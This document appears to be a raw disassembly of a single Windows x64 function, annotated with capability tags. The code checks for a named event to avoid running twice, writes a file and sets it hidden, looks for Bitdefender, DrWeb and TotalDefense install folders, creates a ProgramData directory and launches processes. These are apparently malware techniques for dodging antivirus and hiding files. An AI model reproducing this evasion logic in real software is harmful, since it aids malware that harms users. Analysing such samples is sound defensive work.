Function at 0x140003a50
Capabilities:
Check if file exists
Create directory
Create process on windows
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x14006b0a0]
xor rax, rsp
mov qword [rbp + 0x390], rax
lea r8, str.s8Rv0eh261OUd9R0d
xor edx, edx
mov r12d, 2
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_OpenEventW]
test rax, rax
je 0x140003ab3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140003f02
lea r9, str.s8Rv0eh261OUd9R0d
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r15, rax
test rax, rax
je 0x140003f00
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x280]
call fcn.14000ac90
lea r14, [0x14006dbb0]
mov rdx, r14
cmp qword [0x14006dbc8], 0x10
cmovae rdx, qword [0x14006dbb0]
mov r8d, r12d
lea rcx, [rbp + 0x280]
call fcn.140006220
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x280], r13
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x27c], edx
mov ebx, 6
cmp qword [rbp + 0x308], 0
je 0x140003bc6
lea rdx, [0x14006dc10]
cmp qword [0x14006dc28], 0x10
cmovae rdx, qword [0x14006dc10]
mov r8, qword [0x14006dc20]
lea rcx, [rbp + 0x280]
call fcn.140003590
lea rcx, [rbp + 0x288]
call fcn.140006120
test rax, rax
jne 0x140003bc6
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx + 0x2c8], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0x290]
and eax, 0x17
mov dword [rbp + rcx + 0x290], eax
and eax, dword [rbp + rcx + 0x294]
jne 0x14000437f
mov rcx, r14
cmp qword [0x14006dbc8], 0x10
cmovae rcx, qword [0x14006dbb0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140003c02
or eax, 2
mov rcx, r14
cmp qword [0x14006dbc8], 0x10
cmovae rcx, qword [0x14006dbb0]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, str.C:Program_FilesBitdefender
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140003c18
test al, 0x10
jne 0x140003c4c
lea rcx, str.C:Program_FilesDrWeb
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140003c2e
test al, 0x10
jne 0x140003c4c
lea rcx, str.C:Program_FilesTotalDefense
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140003f32
test al, 0x10
je 0x140003f32
call fcn.140004490
mov rbx, rax
mov rcx, rax
call fcn.140005ca0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xor edi, edi
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], rdi
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rbx + r8], dil
jne 0x140003c80
mov rdx, rbx
lea rcx, [rbp + 0x1c0]
call fcn.140003170
nop
lea r8, [rbp + 0x1c0]
lea rdx, [0x14006dbf0]
lea rcx, [rbp + 0x1e8]
call fcn.140006860
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x140003cf5
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003cf0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043d5
call fcn.1400087d0
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
mov rcx, qword [rbp + 0x1f8]
inc rcx
mov rax, r12
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.140008bd0
mov rbx, rax
lea r8, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0x10
cmovae r8, qword [rbp + 0x1e8]
mov ecx, dword [rbp + 0x1f8]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov dword [rbp + 0x24c], 1
mov word [rbp + 0x250], di
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.1400087d0
nop
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x140003e5d
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043db
call fcn.1400087d0
lea rdi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
lea rbx, vtable.std::ios_base.0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [0x14006dbc8], 0x10
cmovae r14, qword [0x14006dbb0]
mov rcx, r14
call fcn.1400109f0
nop
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x280], r13
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x27c], edx
lea rcx, [rbp + 0x288]
call fcn.1400055c0
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x280], rdi
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x27c], edx
mov qword [rbp + 0x328], rbx
lea rcx, [rbp + 0x328]
call fcn.140007ae0
nop
xor eax, eax
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.1400087b0
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor edx, edx
lea rcx, str.C:ProgramDataDefendSecurity
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140003f4b
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0xb0]
call fcn.14000ac90
lea rcx, [rbp + 0xb0]
call fcn.140004890
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x60]
call fcn.14000ac90
lea rdx, [0x14006dbd0]
cmp qword [0x14006dbe8], 0x10
cmovae rdx, qword [0x14006dbd0]
mov r8d, 0x20
lea rcx, [rbp - 0x60]
call fcn.140006220
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r13
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xc0], 6
jne 0x140003ff6
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x50], 6
jne 0x140003ff6
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x60]
call fcn.140005670
lea rcx, [rbp + 0xc0]
call fcn.140006120
test rax, rax
jne 0x14000403f
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx + 0xf8], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0xc0]
and eax, 0x17
mov dword [rbp + rcx + 0xc0], eax
and eax, dword [rbp + rcx + 0xc4]
jne 0x1400043e1
lea rcx, [rbp - 0x58]
call fcn.140006120
test rax, rax
jne 0x140004074
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx - 0x18], 0
cmovne ebx, r12d
or ebx, dword [rbp + rcx - 0x50]
and ebx, 0x17
mov dword [rbp + rcx - 0x50], ebx
and ebx, dword [rbp + rcx - 0x4c]
jne 0x140004433
call fcn.1400045f0
mov rbx, rax
mov rcx, rax
call fcn.140005a90
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xor edi, edi
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rdi
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rbx + r8], dil
jne 0x1400040a0
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.140003170
nop
lea r8, [rsp + 0x78]
lea rdx, [0x14006dbd0]
lea rcx, [rbp + 0x1c0]
call fcn.140006860
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000410c
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004107
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004487
call fcn.1400087d0
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rcx, qword [rbp + 0x1d0]
inc rcx
mov rax, r12
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.140008bd0
mov rbx, rax
lea r8, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0x10
cmovae r8, qword [rbp + 0x1c0]
mov ecx, dword [rbp + 0x1d0]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], rax
mov dword [rbp + 0x24c], 1
mov word [rbp + 0x250], di
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.1400087d0
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x14000427a
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004275
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004379
call fcn.1400087d0
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r13
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x58]
call fcn.1400055c0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rdi
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x64], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x48], rbx
lea rcx, [rbp + 0x48]
call fcn.140007ae0
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xc0]
call fcn.1400055c0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0xac], edx
mov qword [rbp + 0x160], rbx
lea rcx, [rbp + 0x160]
call fcn.140007ae0
nop
jmp 0x140003e6b
call fcn.14000fb7c
nop
test al, 4
je 0x14000438c
lea rbx, str.ios_base::badbit_set
jmp 0x1400043a0
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001a10
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x1c0]
call fcn.140002200
lea rdx, [0x140069fa8]
lea rcx, [rbp + 0x1c0]
call fcn.14000a514
nop
call fcn.14000fb7c
nop
call fcn.14000fb7c
nop
test al, 4
je 0x1400043ee
lea rbx, str.ios_base::badbit_set
jmp 0x140004402
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001a10
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140002200
lea rdx, [0x140069fa8]
lea rcx, [rsp + 0x50]
call fcn.14000a514
int3
test bl, 4
je 0x140004441
lea rbx, str.ios_base::badbit_set
jmp 0x140004456
test bl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001a10
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140002200
lea rdx, [0x140069fa8]
lea rcx, [rsp + 0x50]
call fcn.14000a514
nop
call fcn.14000fb7c
int3